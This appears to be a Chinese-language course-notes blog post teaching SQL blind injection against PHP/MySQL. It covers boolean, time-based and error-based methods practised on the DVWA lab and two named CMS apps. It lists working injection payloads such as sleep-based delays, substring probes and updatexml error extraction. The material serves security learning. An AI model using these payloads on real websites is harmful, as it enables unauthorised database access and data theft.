【044-WEB攻防篇】PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

前言

第四部分小迪课程采用CMS环境,我并未搭建复现,直接用DVWA靶场练习SQL盲注。后续我会专门发文详解SQL盲注知识点与实操。

新手初学没必要折腾搭建CMS、修改源码,环境配置报错多,容易消磨学习动力。建议直接用DVWA这类现成靶场,专心练SQL盲注,把精力放在漏洞原理和利用手法上即可。

最后那个时间戳,因为前三个演示案例有点混讲的,时间有点模糊,但是案例部分是正确的。


知识点:

1、PHP-MYSQL-SQL注入-方式增删改查

2、PHP-MYSQL-SQL注入-布尔&延迟&报错

3、PHP-MYSQL-SQL注入-数据回显&报错处理


章节点:

Web层面:Web2.0 & Web3.0

语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)

OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等

业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等

特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等

关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等

Web3.0:未待完续筹备中...


演示案例:

复制代码
PHP-MYSQL-SQL操作-增删改查
PHP-MYSQL-注入函数-布尔&报错&延迟
PHP-MYSQL-注入条件-数据回显&错误处理
PHP-MYSQL-CMS案例-插入报错&删除延时

PHP-MYSQL-SQL操作-增删改查

1、数据查询
SELECT * FROM news where id=$id

2、数据新增 (新增用户、添加新闻等)
INSERT INTO news (字段名) VALUES (数据)

3、数据删除 (删除用户、删除新闻等)
DELETE FROM news WHERE id=$id

4、数据修改 (修改用户、修改文章等)
UPDATE news SET id=$id


PHP-MYSQL-注入函数-布尔&报错&延迟

盲注:注入过程中数据无法回显至前端,需通过判断/尝试获取数据,用于解决联合查询注入无效的场景。

盲注分类

1、基于布尔的SQL盲注-逻辑判断

核心函数:regexp、like、ascii、left、ord、mid

2、基于时间的SQL盲注-延时判断

核心函数:if、sleep

3、基于报错的SQL盲注-报错回显

核心函数:floor、updatexml、extractvalue

常用Payload

  • 延迟注入
sql 复制代码
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);

注意最下面的查询时间接近10秒,可以依据这个判断数据库名。

  • 布尔注入
sql 复制代码
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
  • 报错注入
sql 复制代码
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

常用函数说明

sql 复制代码
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立返回5,反之返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1)    #从左侧截取database()名的前1位
length(database())=8  #判断数据库名长度为8
ascii(x)=97           #判断x的ascii码是否等于97

更多Payload参考:https://www.jianshu.com/p/bc35f8dd4f7c


PHP-MYSQL-注入条件-数据回显&错误处理

PHP项目注入效果取决于输出结果报错开启状态

1、延时盲注:无需回显、无需报错

sql 复制代码
and if(1=1,sleep(5),0)

2、布尔盲注:需要数据库输出判断标准

sql 复制代码
and length(database())=6

3、报错盲注:需要数据库报错处理判断标准

sql 复制代码
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

Delete注入测试

  • 删除(延迟):1 and if(1=1,sleep(5),0)
  • 删除(布尔):3 and length(database())=6(无回显无法判断)
  • 删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
  • 源码↓:

PHP-MYSQL-CMS案例-插入报错&删除延时

1、xhcms-insert报错注入

sql 复制代码
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

2、kkcms-delete延时注入

sql 复制代码
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)

Q1:为什么SQL盲注(黑盒情况),优先用延时/报错?

  1. 布尔盲注依赖页面内容差异,真实黑盒站点页面无明显对错区别、干扰多,很难判断;
  2. 报错注入能直接爆出数据,效率高;
  3. 延时注入不靠页面和报错,只看响应时间,兼容性最强,是黑盒兜底首选。

Q2: 这个代码片段,可以使用什么盲注?(报错,延时,布尔)

答:只能用延时盲注,报错和布尔盲注都不可用,原因如下:

  1. 报错盲注 ❌:代码仅提示"删除失败!",未输出数据库错误详情,无法利用报错信息获取数据。
  2. 布尔盲注 ❌ :DELETE语句只要语法正确(无论是否删除数据),mysql_query都会返回true,页面始终跳转到"删除成功",无法通过页面状态区分条件真假。
  3. 延时盲注 ✅ :可注入sleep()函数,通过页面响应时间的长短判断条件真假,不依赖页面内容或报错信息。

时间戳

  1. 文档简述 ------ 00:00:11
  2. 演示案例:PHP-MYSQL-SQL操作-增删改查 ------ 00:01:18
  3. 演示案例:PHP-MYSQL-注入函数-布尔&报错&延迟 ------ 00:12:35
  4. 演示案例:PHP-MYSQL-注入条件-数据回显&错误处理 ------ 00:28:40
  5. 演示案例:PHP-MYSQL-CMS案例-插入报错&删除延时 ------ 00:53:11

相关推荐
暴躁小师兄数据学院2 分钟前
【AI大数据工程师特训笔记】第10讲:数据库用户、权限管理、数据库约束
大数据·数据库·笔记·sql·postgresql
yingyima4 分钟前
Redis 延迟任务队列:凌晨3点服务器报警的救星
前端
weiggle6 分钟前
第三篇:可组合函数(Composable)——Compose 的基石
android·前端
前端环境观察室7 分钟前
别只看 task success:AI Agent 浏览器自动化真正要补的是环境证据链
前端·后端
huakoh8 分钟前
LangChain 实战:用混合检索啃下 1000 页 PDF,搭一个长文档问答 Agent
前端
Dazer00718 分钟前
Edge 浏览器绕过 HTTPS 证书错误
前端·https·edge
元让_vincent24 分钟前
Spark 2.0:面向 Web 的 3DGS 可视化与大场景渲染平台详解
前端·3d·spark·渲染·轻量化·3dgs·lod
KaMeidebaby41 分钟前
卡梅德生物技术快报|酵母双杂交 cDNA 文库构建与蛋白互作筛选流程
服务器·前端·数据库·人工智能·算法
沐风___1 小时前
App 上架之后:如何看数据、获取用户与持续迭代产品
服务器·前端·数据库
兔子宇航员03011 小时前
HIVE SQL 中 NULL 值在 JOIN 和 GROUP BY 中的致命陷阱与解决方案
hive·hadoop·sql